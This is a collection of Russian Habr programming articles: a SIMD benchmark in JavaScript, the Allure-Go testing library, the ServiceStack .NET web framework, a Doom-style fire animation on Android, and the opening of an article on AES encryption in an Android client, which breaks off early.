[Тест руками можно запустить тут](http://corey-maler.github.io/simdBenchmark/index.html). Не забудьте убедиться, что ваш браузер поддерживает SIMD. [Исходный код](https://github.com/Corey-Maler/corey-maler.github.io/tree/master/simdBenchmark), не забываем о кнопочке fork, если есть идеи, как улучшить и оптимизировать.
К тестам подошел серьезно: каждый тест группируется в 4 запуска, один из которых "холостой", предназначенный на прогрев кеша и чтобы браузер смог скомпилировать то, что он считает нужным, в бинарный код. Три учитываются при рассчете. Затем каждая из этих групп запускается по n раз, порядок выбирается случайным образом, затем считается математическое ожидание и дисперсия (черная полоска на каждом из графиков).
У себя я запускал 500 раз каждую из групп, что позволило исключить такие факторы как сборку мусора, переключение поток, задумавшегося касперского и прочие обновления windows 10, и отражает близкие к действительности числа. К сожалению, на js получить более точные выводы невозможно по той причине, что мы никак не можем заставить планировщик задач системы не переключать задачи и прочие вещи, а получить количество тиков, отведенных исключительно под js, так же нет инструментов (есть в виде профайлера, но он из без того слишком адский. Перепроверить в нем — ссылка на тесты вверху есть, можете проинспектировать).
Результаты на моем компьютере (core i5 6400m, firefox nightly 51.0a):
### Выводы
Как видно из импровизированного сравнения на производительность, при хоть чуть более-менее грамотном использовании технологии она дает преимущество в 20-40%. В специфичных задачах можно выжать и гораздо большую производительность, как следствие — технология стоит того, чтобы начинать задумываться об её использовании. К сожалению, векторное программирование достаточно сложное, специалистов по нему мало, тем более в мире js, поэтому все и каждый не ринется. Однако если ваш проект включает в себя сложные вычисления — чувствительный прирост скорости лишним не будет и может сэкономить много ресурсов и времени на решение других задач.
Сейчас доступен полифилл и нет причин думать, что API для работы с SIMD инструкциями в js поменяется, покуда стандарт завершен на 90%, а оставшиеся 10%, по секрету, это размышления о том, как бы переопределить операторы типа "+" и "\*". В js перегрузки операторов нет и не вижу причин тащить их сюда, так что, скорее всего, в прямом виде войдет в стандарт, который после принятия в ближайшем же релизе будет доступен в firefox и edge. Google в Chrome с ним не спешат по какой-то причине, таким образом, если вы сейчас (на момент написания статьи, в августе 2016 года) начинаете свое новое приложение на JS, в котором будет множество вычислений, стоит сразу иметь эту библиотеку ввиду и писать код если не сразу на ней (с полифиллом), то, по крайней мере, с оглядкой на вероятную миграцию и предусмотреть возможность переписывания, чтобы в будущем не потерять много времени на это.
### Стоит ли игра свеч или мои мысли в свободной форме
Конечно рост производительности наблюдается, однако мне не очень понятен выбор технологии и реализация стандарта. Она чуть более, чем полностью оптимизирована только под x86, на любой другой архитектуре и размер вектора может отличаться, и набор инструкций (очень распространена инструкция вида a + b \* c, особенно в всевозможных ДСП). Понятное дело, что какой-нибудь 66AK2x от TI (цифровой сигнальный процессор) никто в здравом уме не будет программировать на javascript, однако в супер-высокоуровневом платформонезависимом языке странно видеть платформозависимые инструкции. (Об этом говорил [Akon32](https://habrahabr.ru/users/akon32/),
> SIMD-инструкции? Зачем? JS как бы считается языком высокого уровня, независимым от железа. А тут прямо в исходном тексте программы предполагается, что именно 4-компонентные вектора есть в инструкциях процессора. А если только 3, или 5, или 8 компонентов? Неизвестно, на чём код будет запускаться.
>
> Имхо, более дальновидными (но не простыми) решениями выглядят автоматическая векторизация в JIT (или прямо в суперскалярном процессоре), или OpenCL/CUDA-подобное API.
Не знал, что комментарии при переносе в черновики так же трутся).
Мое лично мнение: гораздо дальновиднее, при этом позволяющее компилятору делать тоже самое, что и в данном стандарте, является MPi (ну или OpenMP). Как бы, к примеру, это выглядело:
```
function summ(a, b, N) {
const c = Float32Array(N);
let i;
/// #pragma omp parallel for shared(a, b, c) private(i)
for (i = 0; i < N; i++)
c[i] = a[i] + b[i];
}
}
```
Собственно, плагиат с готового стандарта [OpenMP](https://ru.wikipedia.org/wiki/OpenMP). Это позволит движку самому выбрать наиболее оптимальный вариант векторизации, оперировать не только 128-ми битными векторами, да и сделает код платформонезависимым. Можно ли сделать это автоматически во время JIT? Не всегда удается, а возможность указать вручную была бы удобной.
P.S. В прошлой статье вместо технологии все начали обсуждать математику и сложные вычисления на javascript. Подходящий ли язык для этого или нет, хорошо это или плохо, однако все больше и больше задач на js требуют больших математических вычислений, а технология, которая позволяет их ускорить, играет только на руку, нежели вредит. Прошу воздержаться от обсуждения сложных вычислений на js как таковых. | https://habr.com/ru/post/308696/ | null | ru | null |
# Go, я создал: интегрируем Allure в Go красиво
Привет! Меня зовут Антон, я ведущий инженер по тестированию в Ozon: занимаюсь созданием и поддержкой end-to-end Go-тестов бэкенда для QA.
Мы довольно долго писали тесты в основном на Python. Go – молодой язык, и популярных устоявшихся инструментов у него пока немного. В Python есть pytest, в Java – JUnit и TestNG, в Go – пока что весьма свободно.
Однажды, в очередной раз переписав группу старых Python-тестов, я решил, что надо что-то менять. Эта мысль в итоге привела меня к созданию нашей собственной опенсорс-библиотеки – с поддержкой Allure без перегрузки интерфейса, инфраструктурой для хранения тестов как в одних репозиториях с сервисами, так и в отдельных, репортами в Slack и разными другими штуками.
Почему мы всё-таки решили создать своё решение, с какими сложностями пришлось разбираться в процессе и как это может пригодиться вам для тестов на Go, я расскажу в этой и следующих статьях. Сегодня – об интеграции с Allure.
### Для контекста: Go в Ozon
Большая часть сервисов в Ozon написана на Go, и со временем их количество только растёт.
Профит от Go в сервисах:
* **инфраструктура**: относительно лёгкий докер, отлаженные джобы в GitLab CI для запуска интеграционных и юнит-тестов, линтеринг и код-ревью;
* **пакетная система на Git-репозиториях**: не нужно забивать себе голову хранением и импортом вспомогательных библиотек; удобная система версионирования, основанная на Git-тегах;
* **относительно низкий порог входа**: можно нанимать людей и доучивать их до нужного уровня в Go – довольно легко и ~~почти~~ безболезненно.
Всё это на руку нам в E2E-тестах: можно поднимать вспомогательные сервисы, писать библиотеки и службы – и использовать для этого инструменты разработчиков.
Вот только потенциал этот мы использовали не в полной мере: разработку вели на Go, а тесты писали на Python. Это был не всегда удобный, но привычный сценарий для E2E-тестирования на фоне небольшого числа готовых инструментов, которые предоставлял язык на тот момент.
Кроме того, хотелось достичь большего взаимопонимания между QA-специалистами и разработчиками, вовлекая последних в поддержку и развитие инструментов тестирования: с переходом QA-специалистов на Go проблема решается автоматически.
### Первым делом: поддержка Allure
Итак, мы задались вопросом об альтернативе Python для тестирования Go-бэкенда.
Первый шаг – сформулировать требования, чего мы хотим от альтернативного инструментария.
Тесты должны писаться легко и быстро (а значит, быть недорогими в поддержке). Инструменты должны быть простыми и понятными для людей из разных команд с разным бэкграундом.
Но главное – поддержка Allure. Мы в Ozon активно его используем для сбора статистики и аналитики по тестам.
Изучив опыт коллег (привет, [Vivid Money](https://habr.com/ru/company/vivid_money/blog/566940/) и [Lamoda](https://habr.com/ru/company/lamoda/blog/539168/) [тут](https://habr.com/ru/company/lamoda/blog/463301/) на Хабре) и проведя исследование, я обнаружил следующее:
* официального решения Allure для Go на тот момент не существовало;
* провайдеры есть (например, [dailymotion/allure-go](https://github.com/dailymotion/allure-go)), но мне решительно не нравился их интерфейс, или они давно не обновлялись, как будто их перестали поддерживать ([GabbyyLS/allure-go-common](https://github.com/GabbyyLS/allure-go-common));
* фреймворков тестирования не так много, самым перспективным выглядел [Testify](https://github.com/stretchr/testify).
Ну что ж, тогда напишем свой провайдер для Allure.
Нам потребуется:
* пробрасывать Allure-отчёты;
* компоновать тесты;
* запускать тесты.
Была надежда, что компоновку и запуск удастся сделать на Testify, но выяснилось, что тот не поддерживает плагины. Окей, напишем сами.
Так и появился наш опенсорс-проект **Allure-Go**.
Покажу несколько примеров его использования.
### Что именно делает Allure-Go
Во-первых, как и Testify, наша библиотека позволяет организовывать тесты в тестовые ~~классы~~ структуры. Это делает код тестов понятнее и помогает явно выделять тест-комплекты, использовать Before и After-хуки. При этом сохраняется возможность более привычного для Go написания тестов как функций (также с использованием этих хуков).
Пример тестовой структуры:
```
type SuiteStruct struct {
suite.Suite
}
func (s *SuiteStruct) Test1() {
}
func (s *SuiteStruct) Test2() {
}
func TestRun(t *testing.T) {
runner.RunSuite(t, new(SuiteStruct))
}
```
Пример теста-функции:
```
func TestSampleDemo(t *testing.T) {
r := runner.NewTestRunner(t)
r.WithBeforeEach(func(t *provider.T) {})
r.WithAfterEach(func(t *provider.T) {})
r.Run("My test 1", func(t *provider.T) {})
r.Run("My test 2", func(t *provider.T) {})
r.Run("My test 3", func(t *provider.T) {})
}
```
Кроме того, Allure-Go предоставляет разные возможности для работы с шагами и Allure-лейблами. Интерфейс мы постарались сделать максимально лаконичным и user-friendly, прокинули через обёртки provider.T и suite.Suite.
Пример простого теста с вложенными шагами:
```
type StepTreeDemoSuite struct {
suite.Suite
}
func (s *StepTreeDemoSuite) TestInnerSteps() {
s.Epic("Demo")
s.Feature("Inner Steps")
s.Title("Simple Nesting")
s.Description(`
Step A is parent step for Step B and Step C
Call order will be saved in allure report
A -> (B, C)`)
s.Tags("Steps", "Nesting")
s.WithNewStep("Step A", func() {
s.NewStep("Step B")
s.NewStep("Step C")
})
}
```
Ответ от Allure:
### Важно: не перегрузить интерфейс
Особое внимание мы уделили тому, чтобы не перегрузить интерфейс вложенными вызовами.
Давайте сравним с dailymotion:
```
func TestNewTest(t *testing.T) {
allure.Test(
t,
allure.Description("New Test Description"),
allure.Action(func() {
allure.Step(
allure.Description("Step description"),
allure.Action(func() {
}))
}))
}
```
То же самое в Allure-Go:
```
type SuiteStruct struct {
suite.Suite
}
func (s *SuiteStruct) TestNewTest() {
s.Description("New Test Description")
s.WithNewStep("Step description", func() {
})
}
```
Кажется, стало лаконичнее.
### Что мы получили
За полгода в продакшене — 0 проблем с заливкой отчётов, минимальный порог вхождения. Как следствие, коллеги стали интересоваться решением — на сегодняшний день втянулось и переехало более 30 команд в Ozon.
**Прямо сейчас Allure-Go умеет следующее:**
* интегрировать Allure в Go-тесты (поддерживает шаги и аттачи, предлагает лаконичный интерфейс);
* собирать тесты в сьюты;
* запускать тесты в Go.
**Планы**:
* зарелизить нашу библиотеку в официальный репозиторий Allure (Qameta Software);
* добавить новые фичи: асинхронные степы через конструкцию запуска goroutine; обёртка ассертов в шаги (на базе ассертов Testify), прокидывание интерфейсов для упрощения расширения и другие.
Библиотека пережила три рефакторинга, сменила два репозитория и активно развивается. Система репортов обеспечивает графиками и статистикой более 40 сервисов. Основываясь на положительных отзывах, нашу библиотеку добавили в конвенцию для Go-тестов как рекомендованную к использованию.
Главный результат, на мой взгляд: мы сделали ещё один шаг в сторону реальности, в которой Dev и QA говорят на одном языке. Разработчики помогают с поддержкой и развитием тестов, тестировщики шире и глубже ориентируются в кодовой базе.
В следующих эпизодах поговорим об инфраструктуре, репортах и безопасности. Оставайтесь с нами!
### Короче, встречайте
[Allure-Go на GitHub](https://github.com/ozontech/allure-go). Надеюсь, будет полезно. Ждём ваших пулл-реквестов. | https://habr.com/ru/post/652707/ | null | ru | null |
# Как ServiceStack помогает поставить разработку веб-сервисов на поток
На хабре незаслужено обойден вниманием замечетальный .Net-фреймворк ServiceStack. Упомянут он очень кратко, в одной лишь [статье](http://habrahabr.ru/post/133778/), и то косвенно, мельком, и в самом конце, и упомянута там лишь мизерная его [часть](https://github.com/ServiceStack/ServiceStack.Text/). Очевидно, это связано с тем, что основная масса .Net-разработчиков использует стандартные решения от Microsoft для решения задач по разработке веб-сервисов и веб-приложений, а именно ASP.Net MVC/WebAPI или WCF и не заморачивается. Как мы попытаемся показать в этой статье, современный .Net хорош далеко не только своими стандартными технологиями.
Если интересно, прошу под кат.
Итак, мы восполним этот пробел настоящей обзорной статьей, и в конце попробуем что-нибудь сваять своими руками с использованием данного инструмента, который сами в [своей](http://habrahabr.ru/post/212873/) [практике](http://zakaz.mobedu.ru/?utm_source=HabraHabr&utm_medium=post&utm_term=habrapost&utm_content=ad_post&utm_campaign=HabraPost) успешно используем, и, должны сказать, весьма довольны.
#### ServiceStack? Не, не слышал...
Для начала ответим на вопрос, чем является собственно ServiceStack. Это полноценный фреймворк для создания веб-сервисов и веб-приложений, вобравший в себя лучшее из мира C# и ASP.Net, и – да, вы угадали! – избавившийся от всего худшего, лишнего и ненужного. Однако, дорогой хабражитель, предупредим сразу, холивара не будет, не в этот четверг и не с нами! Забегая вперед, отметим, что существуют архитектурные вариации, соединяющие в единую систему компоненты, написанные и на ServiceStack (в роли сервера) и, к примеру, на ASP.Net MVC (в роли клиента).
Фреймворк зародился в недрах компании BBC, в то время, когда там работал [Демис Беллот](https://twitter.com/demisbellot). Началом развития фреймворка можно считать 2007 год, когда BBC, использующая стандартные Enterprise-решения от Microsoft в купе с водопадным подходом к разработке в условиях быстроизменяющихся требований попала прямиком в просак, причем “просак” более близкий к определению, данному героем Никиты Мигалкова из фильма “Жмурки”, нежели к определению из Толкового Словаря\*.
Просак этот заключался в том, что для внесения каждого небольшого изменения было необходимо проходить цикл от UML до кода, который у них занимал до нескольких дней, всяческих костылях для совместимости форматов между старыми записями и новыми, и недельных простоях между мажорными релизами.
Комманда поставила перед собой простой вопрос: чем же все-таки является сервис? Вопрос в принципе не сложный, и многие из нас дадут на него те же самые ответы, а именно:
* Это НЕ способ навязать конкретную платформу или технологию
* Это НЕ способ навязать заранее определенные ограничения
* Это НЕ повод [вечно] использовать заранее определенный формат или следовать заранее определенной архитектуре
* Это предоставление услуг, а если говорить техническим языком, инкапсуляция некоторых возможностей, которые могут быть использованы повторно, и организация их доступности
* Организация их доступности как можно большему числу клиентов, самым простым и эффективным способом, с минимальными затратами и максимальной возможностью повторного использования
Это то, чем является сервис по определению. В добавок к этому хороший сервис должен быть располагающим к предстоящим изменениям, должен быть спроектирован так, чтобы внесение изменений не было проблемой.
Размышления над этим вопросом привели к рождению ServiceStack, который позволил всего-лишь половине команды достигать больших результатов, чем вся команда прежде.
#### И все же, чем он лучше?
* Более интуитивен и прост в использовании
* Более высокая скорость работы по сравнению со стандартными .Net-решениями
* Позволяет даже при не самых прямых руках достигать высокого уровня повторного использования кода
По поводу последнего пункта, следует, конечно же, сделать оговорку, что при наличии прямых рук высокого уровня повторного использования кода вполне можно добиться и при использовании стандартных решений от Microsoft. Однако, для этого требуются, опять же, и прямые руки, и правильный подход, и опыт. Благодаря простоте и сравнительной гениальности архитектуры ServiceStack менее квалифицированные разработчики могут достигать лучших результатов, а также воспитывать в себе приверженность к более эффективным подходам в структурировании кода.
И, наверное, для некоторых следующий момент будет и вовсе решающим:
**ServiceStack проекты могут развертываться на Linux прямо из коробки!**
Таким образом вам не обязательно даже оплачивать дороговатый Windows Azure или, что еще накладнее, содержать собственный Windows Server. Для средного по величине проекта может сгодиться и обычный сервер, скажем, с Debian или Ubuntu Server, или даже [VPS от Hetzner за $30 в месяц](http://www.hetzner.de/en/hosting/produkte_vserver/vq19). Для небольших проектов пойдет и cамый дешевый [VPS за 10$ на Hetzner](http://www.hetzner.de/en/hosting/produkte_vserver/vq7) или даже [за 5$ на Digital Ocean](https://www.digitalocean.com/pricing).
Наши партнеры имеют опыт развертывания и хостинга ServiceStack-проектов на Linux при помощи nginx + FastCGI Mono, и если нам всем это интересно, если мы их дружно попросим, я думаю, они не откажут нам в том, чтобы рассказать на хабре о том, как это делается в деталях.
#### А можно больше технических деталей?
~~Нельзя.~~ Разработчики ServiceStack не стали рушить весь ASP.Net на корню, чтобы строить новое. Корень – а именно IHttpHandler – они оставили. Однако, все, что идет далее так и разрушили и использовали более легковесные альтернативы, которые местами сами немного адаптировали специально для решения задач разработки веб-сервисом. Фреймворк предоставляет свой кэш-менеджер, свои провайдеры аутентификации и сессии и даже предлагает своего MQ-брокера, работающего на базе Redis. Кстати, в рамках фреймворка также создан [собственный Redis-клиент](https://github.com/ServiceStack/ServiceStack.Redis), который, на мой личный взгляд, просто шикарен, и он может быть использован отдельно от фреймворка в различных контекстах. В качестве штатного IOC-контейнера используется [слегка модифицированная версия](https://github.com/ServiceStack/ServiceStack/wiki/The-IoC-container) достаточного популярного [легковесного контейнера Func](http://funq.codeplex.com). Правда, вместо него можно использовать и любой другой IOC-контейнер из множества доступных.
Краегоульным камнем ServiceStack являются DTO (Data Transfer Objects, Объекты Передачи Данных), которые базируются на плоских объектах POCO. Провайдеры аутентификации и сессии, также как и пользовательские сервисы базируются на POCO, что позволяет использовать различные бэкенды для различных реализаций. Из коробки доступны, к примеру, типизированные сессии для хранения непосредственно в памяти и в Redis. Также доступна и нетипизированная сессия для любителей динамизма, но она, к сожалению, работает несколько медленнее.
Подробно рассматривать архитектуру фреймворка в рамках одной статьи, к сожалению, нереально, но при наличии интереса со стороны любознательных хабровчан, мы могли бы в будущем написать об этом серию статей. А пока что напишем небольшой HelloWorld чтобы подразнить аппетит читателя.
#### Хорош лить воду, давай коду!
Итак, для того, чтобы создать веб-сервис в ServiceStack-проекте необходимо сделать четыре простые вещи, а именно:
* Создать класс для DTO запроса к сервисы
* Создать класс для DTO ответа сервиса
* Создать класс самого сервиса, отнаследовав его от базового класса, и переопределив методы, одноименные с HTTP-методами, которые вам необходимо реализовать
* Наслаждаться жизнью и получать профит (шутка… хотя, **нет, не шутка**)
Давайте напишем простой сервис.
Создаем новый проект в Visual Studio или Xamarin Studio. За неимением первого под рукой, я воспользуюсь вторым, благо, под Mono все шикарно работает (а изначально для нас этот фактор и вовсе был решающим). И в качестве компенсации за неиспользование лучшей IDE, мы вам покажем как этот сервис задействовать из мобильного приложения для лучшей мобильной ОС.
Итак, создаем пустой ASP.Net-проект (Empty Web Application). Решение мы назовем SSHelloWorld, а проект – SSHelloAPI.
По проекту в Обозревателе Решения (Solution Explorer) делаем правый клик, и выбираем пункт “Управление пакетами NuGet” (Manage Nuget Packages).
После того, как вы кликнете по кнопочке “Добавить” (Add), вас спросят, согласны ли вы с лицензионным соглашением? Ну т.к. русскоязычные пользователи читают лицензионные соглашения быстрее всех, мы соглашаемся, и к нашему проекту подключаются скачанные dll-ки ServiceStack'a.
Если в вашем проекте отсутствует Global.asax (а по идее должен отсутствовать), добавьте его и скопируйте в Global.asax.cs следующий код вместо того, что там есть:
```
using System;
using System.Collections;
using System.ComponentModel;
using System.Web;
using System.Web.SessionState;
using ServiceStack;
namespace SSHelloAPI
{
public class Global : System.Web.HttpApplication
{
public class AppHost : AppHostBase
{
public AppHost() : base("Hello API", typeof(HelloService).Assembly) {}
public override void Configure (Funq.Container container)
{
}
}
protected void Application_Start (Object sender, EventArgs e)
{
new AppHost ().Init ();
}
}
}
```
Не обращайте внимания на подсвечивание ошибок в коде сейчас. Нам нужно создать класс, в котором будет находиться наш сервис.
Также скорее всего придется вручную создать файл *web.config*. И весь его код должен быть заменен следующим:
```
xml version="1.0"?
```
Ну и, наконец, создадим новый файл HelloService.cs, в котором у нас будут три класса:
```
using System;
using ServiceStack;
namespace SSHelloAPI
{
[Route("/hello")]
[Route("/hello/{Name}")]
public class HelloRequest
{
public string Name { get; set; }
}
public class HelloResponse
{
public string Result { get; set; }
}
public class HelloService : Service
{
public object Any(HelloRequest request)
{
return new HelloResponse { Result = "Hello, " + request.Name };
}
}
}
```
Все просто и понятно, такой код мне даже стыдно комментировать. Компилируем и запускаем наш проект, и в адресной строке браузера введем после имени хоста и порта “/hello/Habrauser”. ServiceStack по заголовку запроса сам определяет тип клиента, и в данном случае покажет нам ответ сервиса в html-обертке. И в поле Result мы увидим, как сервис приветствует нас.
Название метода Any говорит о том, что мы определили одну и ту же логику для всех HTTP-методов.
Обратите внимание на страничку metadata, которая открывается первым делом при запуске проекта. Она содержит автоматически сгенерированную документацию к сервисам. Как видите, ServiceStack на ходу создает различные конечные точки, и мы можем работать с нашим сервисом как с RESTful-сервисом, так и как с SOAP-сервисом (да, я имею в виду именно SOAP, дорогой читатель).
Сервис, конечно, скучный, но дабы не перегружать статью мы не стали сразу включать более сложные примеры. Однако, он дает почувствовать вкус SericeStack и если вам были интересно, то теперь – с нами или без нас – вы можете отведать больше.
#### Как ServiceStack облегчает жизнь мобильному разработчику
Еще чем хорош ServiceStack, так это тем, что созданный сервис весьма удобно использовать в Windows Phone, Xamarin.iOS или Xamarin.Android-приложении (правда, для последних двух необходима бизнес-лицензия на Xamarin). Существуют различные способы, но самый простой (однако, не самый красивый), это выделить в отдельные файлы классы Запросов и Ответов, и подключить их через связывание в проект мобильного приложения. Также из Nuget установить сборку ServiceStack.Client.
Далее, допустим, на событие нажатия кнопки вешаем такой обработчик:
```
button.TouchUpInside += (object sender, EventArgs e) => {
try {
var client = new JsonServiceClient("http://127.0.0.1:8080");
HelloResponse response = client.Get(new HelloRequest() { Name = "iPhone" });
resultLabel.Text = response.Result;
}
catch (Exception ex)
{
resultLabel.Text = ex.Message;
}
};
```
Более подробно этот вопрос также можно рассмотреть в будущем.
#### А что с лицензией?
Начиная с версии 4.0 проект обрел коммерческий окрас. Ну, а почему бы и нет, если это делает ешл лучше? Исходные коды фреймворка по-прежнему остаются открытыми, однако, лицензия позволяет использовать фреймворк бесплатно лишь для небольших проектов со следующими ограничениями:
* 10 операций (т.е. 10 DTO запросов)
* 10 Таблиц в OrmLite
* 20 Типов с JSON, JSV и СSV-сериализаторами
* 20 Типов для Redis-клиента
* 6000 запросов в час к Redis
Ну и ладно, не Redis'ом единым, кроме OrmLite есть и другие ORM, а вот 10 операций — это уже существенное, конечно, ограничение.
Более подробная информация о лицензировании и ценах доступна на [этой страницe](https://servicestack.net/pricing).
На данный момент мы пользуемся в наших проектах 3й версией, которая доступна под лицензией BSD, и переход на 4ю только рассматриваем. Если не хотите быть привязанными к “коммерческой стороне” можете спокойно брать 3ю ветку и использовать ее в своем проекте, она вполне зрелая и стабильная.
#### Ссылки и сноски
**ПРОСАК** (Толковый Словарь Даля) м. новг. твер. прядильня; крутило, канатный, веревочный стан, на котором сучат, спускают веревки. || \*Затруднительное положение, бедушка, где не знаешь, как быть. Он впросак попал, сидит впросаках. Просак (от сучить?), пространство от прядильного колеса до саней, где снуется и крутится бичевка, спускается вервь; если попадешь туда концом одежи, волосами, то скрутит, и не выдерешься; от этого поговорка.
А если серьезно, то вот они:
Официальный сайт
[servicestack.net](http://servicestack.net)
Вики
[github.com/ServiceStack/ServiceStack/wiki](https://github.com/ServiceStack/ServiceStack/wiki)
Слайдшоу с презентацией Демиса Беллота о ServiceStack
[www.slideshare.net/newmovie](http://www.slideshare.net/newmovie)
Некоторые примеры рабочих проектов (код открыт и доступен на github)
Аналог imgur
[imgur.servicestack.net](http://imgur.servicestack.net)
RestMovies
[mono.servicestack.net/ServiceStack.MovieRest](http://mono.servicestack.net/ServiceStack.MovieRest/)
Аналог StackOverflow
[mono.servicestack.net/RedisStackOverflow](http://mono.servicestack.net/RedisStackOverflow/)
И многие другие примеры доступны на [этой странице](https://servicestack.net/features) , а [их исходники на github](https://github.com/ServiceStack/ServiceStack.Examples).
И если тебе, дорогой читатель, стало интересно и ты жаждешь узнать большего, ты только скажи, и мы — общими усилиями — с удовольствием продолжим развивать и раскрывать тему. | https://habr.com/ru/post/213389/ | null | ru | null |
# Делаем на Android анимацию как в Doom. Приложение-огонь
Всем привет! Меня зовут Юрий Дорофеев, я Android-разработчик и преподаватель в Mail.ru Group. Расскажу про отрисовку в Android на примере анимации огня из игры Doom. Эту игру за многие годы на чём только не запускали, от компьютеров до домофонов. Один программист однажды [разобрал весь исходный код Doom](https://habr.com/ru/post/435122/) и обратил внимание на алгоритм, генерирующий изображение огня. Он используется, к примеру, в официальной заставке одной из частей игры.
Как же отрисовать огонь? Нам нужно придумать реалистичное движение пикселей, изменение цветов. На самом деле алгоритм очень прост и уже описан не раз. Давайте реализуем его в Android.
Базовая подготовка
------------------
Создадим новый пустой проект с единственным Activity. Создадим и добавим туда кастомное `FireView`.
```
xml version="1.0" encoding="utf-8"?
```
Алгоритм
--------
В оригинальном алгоритме всего 37 значений температуры: самая горячая зона внизу экрана — это значение 36 (белый цвет), и чем выше, тем пламя холоднее и темнее — значения приближаются к 0 (чёрный цвет).
Чтобы языки пламени выглядели реалистично, нужно добавить случайные флуктуации пикселей по горизонтали и вертикали. Каждый пиксель вычисляется так: из строки ниже случайным образом выбираем один пиксель, затем охлаждаем на случайное значение и помещаем в случайную позицию в текущей строке. Отрисовываем пламя строка за строкой, затем сменяем кадр и всё повторяем.
### Подготовка
Зададим исходную палитру в виде массива int’ов:
```
private companion object {
private val firePalette = intArrayOf(
-0xf8f8f9,
-0xe0f8f9,
-0xd0f0f9,
-0xb8f0f9,
-0xa8e8f9,
-0x98e0f9,
-0x88e0f9,
-0x70d8f9,
-0x60d0f9,
-0x50c0f9,
-0x40b8f9,
-0x38b8f9,
-0x20b0f9,
-0x20a8f9,
-0x20a8f9,
-0x28a0f9,
-0x28a0f9,
-0x2898f1,
-0x3090f1,
-0x3088f1,
-0x3080f1,
-0x3078e9,
-0x3878e9,
-0x3870e9,
-0x3868e1,
-0x4060e1,
-0x4060e1,
-0x4058d9,
-0x4058d9,
-0x4050d1,
-0x4850d1,
-0x4848d1,
-0x4848c9,
-0x303091,
-0x202061,
-0x101039,
-0x1,
)
}
```
Создадим двумерный массив `temp`, который будем наполнять индексами температур (от 0 до 36):
```
private lateinit var temp: Array
```
Для начала нам нужно узнать размеры исходного `View`. При изменении размеров `View` вызовем метод `onSizeChanged`, в его теле мы и начнем нашу работу:
```
override fun onSizeChanged(w: Int, h: Int, oldw: Int, oldh: Int) {
super.onSizeChanged(w, h, oldw, oldh)
}
```
После получения размера нам нужно инициализировать массив `temp`: `h` строк (высота экрана) и `w` столбцов (ширина экрана).
```
temp = Array(h) { IntArray(w) }
```
Заполним нижнюю строку, самую горячую. Для этого в каждый пиксель строки нужно записать значение, равное размерности палитры минус 1:
```
for (x in 0 until w) {
temp[h - 1][x] = firePalette.size - 1
}
```
Отрисовка
---------
Весь массив `temp` заполнен нулями, за исключением последней строки. Как же нам это отобразить? Всё банально: нам нужен цикл, в котором мы будем идти построчно отрисовывать каждый пиксель.
Для отрисовки во `View` есть метод `onDraw`. В качестве аргумента он получает `Canvas` — «холст», на котором мы будем рисовать. У `canvas`'а есть множество разных методов отрисовки. Мы выберем `canvas.drawPoint`, чтобы рисовать каждый пиксель отдельно. Для этого нам нужно указать его координаты (`x`, `y`) и цвет (`paint`). `Paint` зададим полем класса и лишь будем менять у него цвет.
```
for (y in temp.indices) {
for (x in temp[y].indices) {
val color = firePalette[temp[y][x]]
paint.color = color
canvas.drawPoint(x.toFloat(), y.toFloat(), paint)
}
}
```
Оптимизируем алгоритм
---------------------
Если мы запустим такое приложение, то оно будет ооооооочень долго выводить первый кадр нашего `FireView`. Дело в том, что сейчас огонь отрисовывается крайне неоптимальным способом. Проблема в огромном размере очереди задач на отрисовку. Лучше один раз отобразить тысячу пикселей, чем тысячу раз по одному пикселю.
Давайте воспользуемся bitmap'ом — изображением, наполненным нужными пикселями и их цветами.
```
bitmap = createBitmap(w, h)
```
После создания `Bitmap` его нужно заполнить. Оставим прежний цикл из `onDraw`, в нём будем использовать вызов `bitmap.setPixel`.
```
for (y in temp.indices) {
for (x in temp[y].indices) {
val color = firePalette[temp[y][x]]
paint.color = color
bitmap.setPixel(x, y, color)
}
}
canvas.drawBitmap(bitmap, 0f, 0f, paint)
```
Теперь программа выполняется гораздо быстрее, в нижней части появилась полоса белого цвета:
Делаем огонь
------------
Напомню, что нам нужно случайным образом перемешивать и охлаждать температуры пикселей. Воспользуемся классом `Random` для генерации случайных значений.
У `Random` вызываем метод `nextInt`, который сгенерирует случайные числа. В качестве аргумента он принимает количество генерируемых значений. Чтобы пиксели огня флуктуировали не только вверх, но и в стороны, зададим для `х` диапазон из четырёх значений от -1 до 2. А по `y` диапазон 0-6 будет всегда из положительных чисел, потому что огонь поднимается только вверх. Кроме того, по мере движения огонь охлаждается, поэтому добавим случайное изменение температуры от 0 до 2.
Перепишем карту пикселей, исходя из новых случайных значений: к текущим значениям прибавляем случайные смещения. Не забудьте учитывать граничные случаи и проверять, не вышли ли пиксели за пределы экрана: минимальные и максимальные значения не должны быть меньше 0 и больше размерностей массива.
```
for (y in 0 until temp.size - 1) {
for (x in temp[y].indices) {
val dx = random.nextInt(3) - 1
val dy = random.nextInt(6)
val dt = random.nextInt(2)
val x1 = min(temp[y].size - 1, max(0, x + dx))
val y1 = min(temp.size - 1, y + dy)
temp[y][x] = max(0, temp[y1][x1] - dt)
}
}
```
Запустим получившийся код:
Появились небольшие языки пламени, но жизни в этом огне нет. Дело в том, что Android не будет просто так перерисовывать экран и тратить ресурсы. Необходимо явным образом сообщить, что `View` нужно перерисовать. Для этого внутри метода `onDraw` вызовем метод `invalidate`. Конечно, в этом случае будет выполняться бесконечная перерисовка, но поскольку у нас горит бесконечный огонь, такое решение допустимо.
Теперь языки пламени двигаются, но очень медленно. Попробуем уменьшить размерность нашего `bitmap`'а: определим коэффициент масштабирования `scale`. Теперь будем использовать не исходные значения высоты и ширины, а поделённые на коэффициент масштабирования. Уменьшим таким образом площадь `bitmap`'а в четыре раза и запустим вновь.
Получилось маленькое окошечко, в котором горит огонь, причём гораздо быстрее, чем в предыдущем варианте. А чтобы растянуть пламя на весь экран, нужно масштабировать `Canvas`.
Можно ли ещё больше повысить скорость отрисовки? Да, если применить более оптимальный алгоритм или увеличить `scale`.
* [Исходный код доступен на github](https://github.com/otopba/fire_view)
* [Скринкаст для тех, кто хочет посмотреть на процесс](https://www.youtube.com/watch?v=wyUaPFgiqds) | https://habr.com/ru/post/581624/ | null | ru | null |
# AES шифрование и Android клиент
Как говорится, ничего не предвещало беды. Мобильный клиент потихоньку пилился, кофе стыл, задачки закрывались одна за другой, пока вдруг внезапно не пришло письмо на корпоративную почту:
*Срочно внедряем новый функционал. Все необходимые параметры для построения бизнес модели, в целях безопасности, будут передаваться в зашифрованном виде **AES/CBC/PKCS5Padding** с вектором инициализации **AAACCCDDDYYUURRS** и ключом шифрования **ZZHHYYTTUUHHGGRR**. Пример зашифрованных данных:*
